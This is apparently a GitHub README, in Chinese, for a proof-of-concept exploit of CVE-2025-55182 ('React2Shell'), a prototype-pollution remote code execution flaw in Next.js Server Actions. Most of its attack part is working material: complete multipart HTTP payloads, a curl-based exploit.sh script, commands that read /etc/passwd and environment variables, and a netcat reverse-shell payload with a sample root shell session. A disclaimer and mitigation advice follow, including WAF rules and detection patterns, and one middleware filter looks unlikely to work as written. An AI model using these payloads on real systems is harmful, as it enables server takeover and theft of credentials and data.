yannisduvignau/react2shell-exploit
GitHub: yannisduvignau/react2shell-exploit
这是一个利用Next.js RSC漏洞实现远程代码执行的PoC工具,用于安全研究和渗透测试。
Stars: 0 | Forks: 0
# CVE-2025-55182 – React2Shell
## Next.js 中的远程代码执行漏洞
⚠️ **免责声明**:本文档**仅用于教育和安全研究目的**。在您不拥有或未获得明确测试许可的系统上未经授权使用这些技术是**非法的**。
## 📋 目录
1. [概述](#overview)
2. [工作原理](#how-it-works)
3. [安装与设置](#installation--setup)
4. [分步利用过程](#step-by-step-exploitation)
5. [结果与影响](#results--impact)
6. [缓解策略](#mitigation-strategies)
## 概述
**CVE-2025-55182**,亦称为 **React2Shell**,是一个影响使用以下技术的 **Next.js** 应用程序的严重漏洞:
- **React Server Components (RSC)**
- **Server Actions**
### 为什么它很危险?
攻击者可以通过利用以下漏洞在服务器上实现**远程代码执行 (RCE)**:
1. **不安全的 RSC payload 反序列化**
2. 通过 `__proto__` 和 `constructor` 进行的**原型污染**
3. Next.js 服务器运行时中的**动态执行路径**
**后果**:可以以 Node.js 进程的权限执行任意系统命令。
## 工作原理
### 阶段一:Next.js RSC 协议
Next.js 使用一种**专有的 multipart/form-data 协议**在客户端和服务器之间进行通信:
- 客户端向服务器发送 **React Server Components**
- 服务器**反序列化并处理**它们
- 结果返回给客户端
```
Client (Browser)
↓
[multipart/form-data RSC payload]
↓
Next.js Server
↓
Deserialization + Execution
↓
Response
```
### 阶段二:弱点 - 不安全的反序列化
漏洞存在的原因:
1. **在反序列化之前未验证用户控制的数据**
2. **允许原型链访问** (`__proto__`, `constructor`)
3. 在请求处理期间**某些字段会被动态求值**
### 阶段三:原型污染攻击
攻击者可以构造一个 payload 来修改内部对象属性:
```
{
"then": "$1:__proto__:then", // Targets the prototype chain
"_response": {
"_prefix": "malicious code here" // Code injection
}
}
```
通过利用 `__proto__`,攻击者污染了 JavaScript 对象的原型,影响所有继承自该原型的对象。
### 阶段四:代码注入
在 `_prefix` 字段内,攻击者注入 JavaScript 代码,该代码:
1. 通过 `process.mainModule.require()` **访问 Node.js 模块**
2. **加载 `child_process` 模块**
3. 使用 `execSync()` **执行系统命令**
```
var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();
```
### 阶段五:结果提取
命令结果**隐藏在错误响应中**:
```
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});
```
Next.js 将此错误返回给客户端,命令输出在 `digest` 字段中可见。
## 安装与设置
### 前置条件
- **Node.js 20**
- **Burp Suite** (或用于请求拦截的类似工具)
- **curl** 或 **Postman** (用于发送 payload)
### 步骤一:克隆并安装存在漏洞的服务器
```
# Clone the PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182
# Install Node.js 20
nvm install 20
nvm use 20
# Install dependencies
cd test-server
npm install
```
### 步骤二:启动服务器
```
npm run dev
```
现在服务器可通过以下地址访问:
```
http://localhost:3000
```
### 步骤三:验证服务器是否正在运行
```
curl http://localhost:3000/
```
在此阶段,服务器行为正常。
## 分步利用过程
### 方法一:使用 Burp Suite (手动拦截)
#### 步骤一:启用拦截
1. 打开 **Burp Suite**
2. 转到 **Proxy → Intercept** 选项卡
3. 启用 **Intercept is on**
4. 在浏览器中访问 `http://localhost:3000/`
#### 步骤二:拦截请求
一个 GET 请求将被拦截。将其发送到 **Repeater** 选项卡:
1. 右键单击 → **Send to Repeater**
2. 转到 **Repeater** 选项卡
#### 步骤三:替换为恶意 Payload
将整个请求替换为以下 payload:
```
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
```
#### 步骤四:发送请求
点击 **Send**
### 方法二:自动化利用脚本
创建文件 `exploit.sh`:
```
#!/bin/bash
TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"
# Build the payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)
# Replace the command
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"
# Send the request
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
-H "Next-Action: x" \
-H "X-Nextjs-Request-Id: b5dce965" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
--data-raw "$PAYLOAD"
```
使其可执行:
```
chmod +x exploit.sh
./exploit.sh
```
## 示例命令
### 列出文件和目录
```
COMMAND="ls -la /"
```
### 获取当前用户
```
COMMAND="whoami"
```
### 读取文件
```
COMMAND="cat /etc/passwd"
```
### 检查网络连接
```
COMMAND="netstat -tuln"
```
### 获取环境变量
```
COMMAND="env"
```
## 反向 Shell(完全服务器访问权限)
要获得**完全交互式 Shell 访问权限**,请使用反向 Shell。
### 在攻击机上:监听连接
```
ncat -lvnp 9009
```
或使用 netcat:
```
nc -lvnp 9009
```
### 在目标上:发送反向 Shell Payload
使用以下命令修改 payload(将 `` 替换为您的 IP 地址):
```
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 9009 >/tmp/f"
```
完整的 payload 变为:
```
POST / HTTP/1.1
Host: :
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
```
### 预期结果
```
❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin boot dev etc home lib ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
```
您现在在目标服务器上拥有一个**完全交互式的 Shell**。
## 结果与影响
### 服务器响应
利用成功后:
1. 服务器响应 **HTTP 500 Internal Server Error**
2. 响应体包含**已执行系统命令的输出**
3. 输出嵌入在错误响应的 `digest` 字段中
### 示例响应
```
Error: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
### 潜在影响
- 🔥 **完全远程代码执行 (RCE)**
- 📂 **完全文件系统访问权限**
- 🔐 **凭据和机密信息窃取**
- 🚨 **内部网络横向移动**
- 💥 **完全服务器失陷**
- 🔗 **供应链攻击**(如果用于入侵已部署的应用程序)
- 📊 **数据窃取和篡改**
## 缓解策略
### 针对系统管理员
#### 1. **立即更新 Next.js**
```
npm install next@latest
```
确保您运行的是已打补丁的 Next.js 版本。查阅官方安全公告。
#### 2. **严格的 RSC Payload 验证**
添加对传入 RSC payload 的严格验证:
```
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';
export function middleware(request: NextRequest) {
// Reject suspicious payloads
if (request.headers.get('content-type')?.includes('multipart/form-data')) {
const bodyString = request.body?.toString() || '';
// Block payloads containing dangerous patterns
if (bodyString.includes('__proto__') ||
bodyString.includes('constructor') ||
bodyString.includes('child_process')) {
console.error(`[SECURITY] Malicious payload attempt from ${request.ip}`);
return new NextResponse('Forbidden', { status: 403 });
}
}
return NextResponse.next();
}
export const config = {
matcher: ['/:path*']
};
```
#### 3. **如果不需要,请禁用 Server Actions**
在 `next.config.js` 中:
```
module.exports = {
experimental: {
serverActions: {
enabled: false // Disable if not needed
}
}
};
```
#### 4. **以最小权限运行 Node.js**
```
# Create a dedicated user
useradd -r -s /bin/false nextjs
# Run the service under this user
sudo -u nextjs node server.js
# Or with systemd
# /etc/systemd/system/nextjs.service
[Service]
User=nextjs
Group=nextjs
ExecStart=/usr/bin/node /app/server.js
```
#### 5. **使用减少能力的容器隔离**
使用限制能力的 Docker:
```
FROM node:20-alpine
# Create non-root user
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production
COPY . .
USER nextjs
EXPOSE 3000
CMD ["node", "server.js"]
```
使用受限能力运行容器:
```
docker run \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
-u nextjs:nextjs \
--security-opt=no-new-privileges \
--read-only \
--tmpfs /tmp \
my-nextjs-app
```
#### 6. **监控可疑请求**
实施全面日志记录:
```
// Custom logging middleware
app.use((req, res, next) => {
// Log all POST requests with Next-Action header
if (req.method === 'POST' && req.headers['next-action']) {
const suspiciousPatterns = ['__proto__', 'constructor', 'execSync', 'child_process'];
const bodyString = JSON.stringify(req.body);
const isSuspicious = suspiciousPatterns.some(pattern => bodyString.includes(pattern));
if (isSuspicious) {
console.error(`[SECURITY_ALERT] Exploit attempt detected from ${req.ip}`);
console.error(`[SECURITY_ALERT] User-Agent: ${req.get('user-agent')}`);
console.error(`[SECURITY_ALERT] Payload: ${bodyString.substring(0, 500)}`);
// Alert security team
// sendSecurityAlert(`Exploit attempt from ${req.ip}`);
return res.status(403).json({ error: 'Forbidden' });
}
}
next();
});
```
#### 7. **部署 Web 应用程序防火墙 (WAF)**
配置您的 WAF 以阻止:
**ModSecurity 规则:**
```
# Block __proto__ in request body
SecRule REQUEST_BODY "@contains __proto__" \
"id:1001,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"
# Block constructor in request body
SecRule REQUEST_BODY "@contains constructor" \
"id:1002,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"
# Block child_process module access
SecRule REQUEST_BODY "@contains child_process" \
"id:1003,phase:2,deny,status:403,msg:'Code Execution Attempt'"
# Block execSync function
SecRule REQUEST_BODY "@contains execSync" \
"id:1004,phase:2,deny,status:403,msg:'Code Execution Attempt'"
# Block require() statements
SecRule REQUEST_BODY "@rx require\s*\(" \
"id:1005,phase:2,deny,status:403,msg:'Module Loading Attempt'"
```
**AWS WAF 示例:**
```
{
"Name": "BlockRCEAttempts",
"Rules": [
{
"Name": "BlockProtoPolluton",
"Priority": 1,
"Statement": {
"ByteMatchStatement": {
"FieldToMatch": { "Body": {} },
"TextTransformations": [{ "Priority": 0, "Type": "LOWERCASE" }],
"PositionalConstraint": "CONTAINS",
"SearchString": "__proto__"
}
},
"Action": { "Block": {} },
"VisibilityConfig": {
"SampledRequestsEnabled": true,
"CloudWatchMetricsEnabled": true,
"MetricName": "BlockProtoPolluton"
}
}
]
}
```
#### 8. **内容安全策略 (CSP) 头**
虽然 CSP 主要保护客户端,但这是一种良好实践:
```
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
next();
});
```
#### 9. **定期安全审计**
```
# Scan dependencies for vulnerabilities
npm audit
npm audit fix
# Use snyk for continuous monitoring
snyk monitor
# Regular penetration testing
# Schedule quarterly security assessments
```
#### 10. **事件响应计划**
如果您怀疑遭受利用:
```
# 1. Check logs for suspicious patterns
grep -r "__proto__" /var/log/
grep -r "child_process" /var/log/
grep -r "execSync" /var/log/
# 2. Check process history
ps aux | grep node
history | grep -E "(nc|ncat|bash)"
# 3. Check network connections
netstat -tuln
lsof -i -P -n
# 4. Isolate the affected system
sudo iptables -I INPUT -j DROP
# 5. Preserve evidence and logs
tar -czf /backup/incident-$(date +%Y%m%d).tar.gz /var/log/
# 6. Notify your security team and apply patches
```
## 技术深度解析
### Payload 分解
```
{
// Step 1: Target the prototype chain
"then": "$1:__proto__:then",
// Step 2: Mark as resolved model
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
// Step 3: Inject code through _response
"_response": {
// The injected JavaScript code
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
// Reference to form data
"_chunks": "$Q2",
// Access constructor through form data
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
```
### 为何有效
1. **Multipart 解析**:Next.js 解析 multipart 表单数据
2. **引用解析**:像 `$1` 这样的引用被解析为其他表单字段
3. **对象重建**:从解析的数据中重建对象
4. **原型污染**:`__proto__` 路径修改了对象原型
5. **代码执行**:`_prefix` 字段在错误处理期间被求值
6. **命令执行**:`execSync` 运行任意命令
7. **结果窃取**:输出嵌入在错误摘要中
## 附加资源
- **原始 PoC**:[https://github.com/msanft/CVE-2025-55182/](https://github.com/msanft/CVE-2025-55182/)
- **Next.js 安全文档**:[https://nextjs.org/docs/security](https://nextjs.org/docs/security)
- **OWASP 原型污染**:[https://owasp.org/www-community/attacks/Prototype_pollution](https://owasp.org/www-community/attacks/Prototype_pollution)
- **Node.js 安全最佳实践**:[https://nodejs.org/en/docs/guides/security/](https://nodejs.org/en/docs/guides/security/)
- **CWE-502: 不受信任数据的反序列化**:[https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)
## 结论
**CVE-2025-55182 (React2Shell)** 展示了与以下相关的重大风险:
✅ 用户控制数据的**不安全反序列化**
✅ JavaScript 原型链中的**原型污染**
✅ **缺乏适当验证的动态代码执行**
该漏洞强调了以下重要性:
- 🔒 **输入验证**:永远不要信任用户输入
- 🛡️ **纵深防御**:使用多层防护
- ⚠️ **保持框架更新**:立即应用安全补丁
- 🔍 **监控和日志记录**:检测可疑行为
- 🔐 **最小权限原则**:以最小权限运行服务
- 🧪 **定期安全测试**:进行审计和渗透测试
**许可**:仅供教育用途 - 未经授权访问计算机系统是非法的。
对于合法的安全研究和授权测试,在进行任何测试之前,请确保您已获得系统所有者的书面许可。
标签:CVE-2025-55182, GNU通用公共许可证, JavaScript安全, MITM代理, Next.js漏洞, Node.js, React, React2Shell, React Server Components, RSC, RSC漏洞, Server Actions, Syscalls, Web安全, 原型污染, 反序列化漏洞, 情报收集, 数据可视化, 服务器操作, 服务器端漏洞, 服务器组件漏洞, 漏洞分析, 漏洞研究, 编程工具, 网络安全, 自动化攻击, 蓝队分析, 路径探测, 远程代码执行, 隐私保护